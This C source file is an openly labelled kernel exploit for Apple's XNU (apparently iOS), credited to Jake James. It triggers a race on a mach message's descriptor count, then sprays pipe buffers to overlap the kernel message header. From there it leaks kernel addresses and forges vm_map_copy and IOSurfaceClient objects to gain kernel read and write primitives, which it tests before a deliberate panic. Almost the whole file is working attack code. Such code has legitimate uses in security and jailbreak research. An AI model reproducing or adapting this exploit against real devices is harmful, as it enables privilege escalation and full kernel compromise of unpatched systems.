//
//  exploit.c
//  kmsg_bug
//
//  Created by Jake James on 3/2/22.
//

#include "exploit.h"
#include <pthread/pthread.h>
#include "exploit_utilities.h"
#include "IOSurface_stuff.h"

#define DEBUG 1

int surfaces[2][4096] = {0};
io_service_t IOSRUC[2] = {0};

int IOSurface_setCapacity_0x2000() {
    kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    if (ret) {
        printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    io_connect_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (!MACH_PORT_VALID(IOSurfaceRoot)) {
        printf("[-] Failed to find IOSurfaceRoot service\n");
        return KERN_FAILURE;
    }
    
    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[0]);
    if (ret || !MACH_PORT_VALID(IOSRUC[0])) {
        printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[1]);
    if (ret || !MACH_PORT_VALID(IOSRUC[1])) {
        printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    struct IOSurfaceFastCreateArgs create_args = {
        .alloc_size = pagesize
    };
    
    struct IOSurfaceLockResult lock_result;
    size_t lock_result_size = 0xf60;
    
    for (int i = 0; i < 4096; i++) {
        ret = IOConnectCallMethod(IOSRUC[0], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
        if (ret) {
            printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
            return ret;
        }
    
        surfaces[0][i] = lock_result.surface_id;
    }
    
    for (int i = 0; i < 4096; i++) {
        release_IOSurface(IOSRUC[0], surfaces[0][i]);
        surfaces[0][i] = 0;
    }
    
    for (int i = 0; i < 4096; i++) {
        ret = IOConnectCallMethod(IOSRUC[1], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
        if (ret) {
            printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
            return ret;
        }
#if DEBUG
        printf("[i] Surface id: %d\n", lock_result.surface_id);
#endif
        surfaces[1][i] = lock_result.surface_id;
        
        if (surfaces[1][i] == 8100) break;
    }
    
    return 0;
}

void release_all() {
    for (int i = 0; i < 4096; i++) {
        if (surfaces[1][i]) {
            printf("[*] Releasing %d\n", surfaces[1][i]);
            fflush(stdout);
            usleep(10);
            release_IOSurface(IOSRUC[1], surfaces[1][i]);
        }
    }
}

// N_DESC = 14 and N_CORRUPTED = 1014 will make a message have 0x4000 size
// (there are other combinations however for some reason ones where difference is lower don't work?)

#define N_DESC 14
#define N_CORRUPTED 1014

// how many pipes to spray
#define N_SPRAY 5000

// size of each pipe buffer
#define KALLOC_SIZE 0x4000

// size of ool buffer
#define OOL_SIZE 0x100
#define BIG_BUFFER_SIZE 0x10000

struct exp_msg {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
    mach_msg_ool_descriptor_t ool_desc[N_CORRUPTED - 1];
};

struct exp_msg msg;

void race_thread() {
    while (1) {
        // change the descriptor count back and forth
        // eventually the race will work just right so we get this order of actions:
        // count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin
        msg.body.msgh_descriptor_count = N_CORRUPTED;
        msg.body.msgh_descriptor_count = N_DESC;
    }
}

void *fake_IOSC;
void *fake_IOS;

uint64_t ool_ports_buffer = 0;
uint64_t IOSC_array = 0;

int opipe[2] = {0};

mach_port_t dest;

// these are racy, should put locks, but this is just an exploit, so idc
uint32_t rk32(uint64_t addr) {
    *(uint64_t*)(fake_IOSC + 0x40) = addr - 0xb4;
    uint32_t val;
    int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &val);
    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;
    
    if (ret) {
        printf("[-][rk32] Error get_ycbcrmatrix: %s\n", mach_error_string(ret));
        return 0;
    }
    return val;
}

uint64_t rk64(uint64_t addr) {
    uint32_t val1 = rk32(addr);
    uint64_t val2 = rk32(addr + 4);
    uint64_t val64 = val1 | (val2 << 32);
    return val64;
}

int wk64(uint64_t addr, uint64_t what) {
    *(uint64_t*)(fake_IOS + 0x360) = addr;
    int ret = IOSurface_set_indexed_timestamp(IOSRUC[1], surfaces[1][0], 0, what);
    *(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000;
    if (ret) {
        printf("[-][wk64] Error set_indexed_timestamp: %s\n", mach_error_string(ret));
        return ret;
    }
    return 0;
}

void after_thread() {
    // wait a little bit
    sleep(5); // probably too much
  
    uint64_t test = (uint64_t)malloc(8); // let's pretend this is a kernel address
    wk64(test, 0x4142434445464748);
    printf("[i] Wrote: 0x%lx\n", 0x4142434445464748);
    printf("[i] Read back: 0x%llx\n", rk64(test));
    
    printf("[*] Panic!!\n");
    fflush(stdout);
    sleep(1);
    wk64(0x4141414141414141, 0x4242424242424242);
}

void exploit() {
    printf("[*] Setting up exploit\n");
    
    IOSurface_setCapacity_0x2000();
    
    void *body = calloc(1, KALLOC_SIZE);
    
    // allow us to spray a lot of pipes
    increase_file_limit();
    
    // ool buffer
    void* buf = calloc(1, OOL_SIZE * N_DESC);
    
    void *ports = calloc(1, BIG_BUFFER_SIZE/2); // size of a port in userland is half its size in kernel
    
    // set up the message
    msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg));
    msg.hdr.msgh_remote_port = 0;
    msg.hdr.msgh_local_port = MACH_PORT_NULL;
    msg.hdr.msgh_id = 0x12341234;
    
    // set the initial (smaller) descriptor count
    msg.body.msgh_descriptor_count = N_DESC;
    
    // ool ports descriptor
    msg.ool_ports.address = ports;
    msg.ool_ports.count = BIG_BUFFER_SIZE / 8;
    msg.ool_ports.deallocate = 0;
    msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
    
    // ool descriptors
    for (int i = 0; i < N_DESC - 1; i++) {
        msg.ool_desc[i].address = buf + i * OOL_SIZE;
        msg.ool_desc[i].size = OOL_SIZE;
        msg.ool_desc[i].deallocate = 0;
        msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR;
        msg.ool_desc[i].copy = MACH_MSG_PHYSICAL_COPY;
    }
    
    // original writeup uses a mach message for this, but we'd have to fix up the trailer to avoid breaking its signature, also pipes allow us to write back without reallocating
    printf("[*] Spraying pipe buffers\n");
    int pipes[N_SPRAY][2] = {0};

    for (int i = 0; i < N_SPRAY; i++) {
        int ret = pipe(pipes[i]);
        if (ret) {
            printf("[-] Failed to create pipe: %s\n", strerror(errno));
            continue;
        }
        
        set_nonblock(pipes[i][0]);
        set_nonblock(pipes[i][1]);
        memset(body, 0, KALLOC_SIZE);
        
        // -1 otherwise it'll make the size bigger
        write(pipes[i][1], body, KALLOC_SIZE - 1);
    }
    
    // -----------+-----------+-----------+------------+-----------
    //    pipe1   |   pipe2   |    ...    |  pipe5000  |
    // -----------+-----------+-----------+------------+-----------
    //
    
    // poke some holes to increase chance of landing right after a pipe
    printf("[*] Poking holes\n");
    fflush(stdout);
    for (int i = 0; i < N_SPRAY; i++) {
        if (i % 64 == 0) {
            close(pipes[i][0]);
            close(pipes[i][1]);
            pipes[i][0] = 0;
            pipes[i][1] = 0;
        }
    }
  
    // -----------+-----------+-----------+------------+------------+------------+-----------
    //    pipe1   |   pipe2   |    ...    |   pipe64   |    FREE    |   pipe67   |    ...
    // -----------+-----------+-----------+------------+------------+------------+-----------
    //
    
    printf("[*] Racing\n");
    
    // start the threads
    pthread_t thread;
    pthread_create(&thread, NULL, (void*)race_thread, NULL);

    // try up to 1000 times
    for (int i = 0; i < 1000; i++) {

        // create a mach port where we'll send the message
        dest = new_mach_port();
    
        // send
        msg.hdr.msgh_remote_port = dest;
        int ret = mach_msg(&msg.hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
        if (ret) printf("error: %s\n", mach_error_string(ret));
    
        // hopefully (pre-trigger):
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
        //    pipe1   |   pipe2   |    ...    |   pipeN   | ikm_header |   pipeN+2   |    ...
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
        //
        
        // after bug trigger pipeN should overlap with ikm_header:
        
        //                                            +----------------+
        //                                            |                |
        // -----------+-----------+-----------+-----------+            +-------------+-----------
        //    pipe1   |   pipe2   |    ...    |   pipeN   | ikm_header |   pipeN+2   |    ...
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
       
        
        // check if we overwrote one of the pipe buffers
        for (int i = 0; i < N_SPRAY; i++) {
            if (pipes[i][0] && pipes[i][0] != opipe[0]) {;
                ssize_t ret = read(pipes[i][0], body, KALLOC_SIZE);
                if (ret == -1) {
                    printf("[-] Failed to read pipe: %s\n", strerror(errno));
                    continue;
                }
   
                // there seem to be some extra 56 bytes between the two
                int off = KALLOC_SIZE - 4 * (N_CORRUPTED - N_DESC) + 56;
                
                if (*(uint32_t*)(body + off) == 0x80000011) {
                    printf("[+] Found ikm_header at pipe nr. %d\n", i);
                    struct ool_kmsg *kmsg = body+off;
                    
#if DEBUG
                    for (int i = 0; i < N_DESC; i++) {
                        uint64_t kaddr = (uint64_t)kmsg->ool_messages[i].address;
                        printf("[i] 0x%llx\n", kaddr);
                    }
#endif
                     
                    ool_ports_buffer = (uint64_t)kmsg->ool_messages[0].address;
                    
                    // assume this scenario is true and hope for the best
                    IOSC_array = ool_ports_buffer - BIG_BUFFER_SIZE;
                    
                    // save the pipe
                    opipe[0] = pipes[i][0];
                    opipe[1] = pipes[i][1];
                    
                    pipes[i][0] = 0;
                    pipes[i][1] = 0;
                    
                    // close other pipes
                    for (int i = 0; i < N_SPRAY; i++) {
                        if (pipes[i][0]) close(pipes[i][0]);
                        if (pipes[i][1]) close(pipes[i][1]);
                    }
                    
                    printf("[+] Leaked ool ports buffer: 0x%llx\n", ool_ports_buffer);
                    printf("[+] Calculated IOSurfaceClient array address: 0x%llx\n", IOSC_array);
                    
                    void *buf = calloc(1, 0x5000); // need to calculate on A10+
                    
                    struct vm_map_copy *copy = buf;
                    struct vm_map_links *entry = buf + 0x1000;
                    
                    copy->type = VM_MAP_COPY_ENTRY_LIST; // we need the entry list type
                    copy->c_u.hdr.nentries = 1; // doesn't really matter
                    copy->c_u.hdr.links.next = (struct vm_map_entry*)entry; // the fake entry
                    *(uint64_t*)(((uint64_t)&copy->c_u.hdr) + 0x28) = 0xffffffffbaadc0d1; // do this to skip some useless code
                    
                    fake_IOSC = buf + 0x2000; // fake IOSurfaceClient
                    fake_IOS = buf + 0x3000; // fake IOSurface
                    
                    *(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000; // fake timestamp array = fake ycbcrmatrix array
                  //  *(uint64_t*)(fake_IOS + 0xb4)
                    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;
                    
                    
                    void *vm_object = buf + 0x3000;
                    *(uint8_t*)(vm_object + 0xa) = 0x40; // lock stuff
                    *(uint32_t*)(vm_object + 0x28) = 2; // something that needs to be 2 for it to work
                    *(uint64_t*)(vm_object + 0x48) = 0x1337; // needs to be non-zero
                    *(uint32_t*)(vm_object + 0x74) = 0x8000000; // needs to be this
                    *(uint32_t*)(vm_object + 0xa4) = 0x400; // mapping_in_progress = 1
                    
                    entry->prev = (void *)fake_IOSC;
                    entry->next = (void *)(IOSC_array + surfaces[1][0] * 8);
                    *(uint64_t*)((uint64_t)entry + 0x38) = (uint64_t)vm_object; // the fake vm_object
                    *(uint64_t*)((uint64_t)entry + 0x48) = 0; // needs to be 0
                    
                    printf("[*] Writing fake vm_map_copy ptr\n");
                    kmsg->ool_messages[1].address = (void*)copy;
                    write(opipe[1], body, KALLOC_SIZE);
                    
                    pthread_t thread;
                    pthread_create(&thread, NULL, (void*)after_thread, NULL);
                   
                    /*
                     this will basically do:
                        entry->next->prev = entry->prev;
                        entry->prev->next = entry->next;
                     
                     and then it'll hang until mapping_in_progress is unset
                    */
                    printf("[*] Writing fake IOSurfaceClient ptr\n");
                    mach_port_destroy(mach_task_self(), dest);
                    
                    printf("[-] Exploit failed\n");
                    return;
                }
                
                memset(body, 0, KALLOC_SIZE);
                write(pipes[i][1], body, KALLOC_SIZE - 1);
            }
        }
        
        // if bug didn't work, free message and try again
        // if bug worked but pipes weren't affected then we corrupted something else, let this just panic
        mach_port_destroy(mach_task_self(), dest);
    }
    
    printf("[-] Exploit failed\n");
    return;
}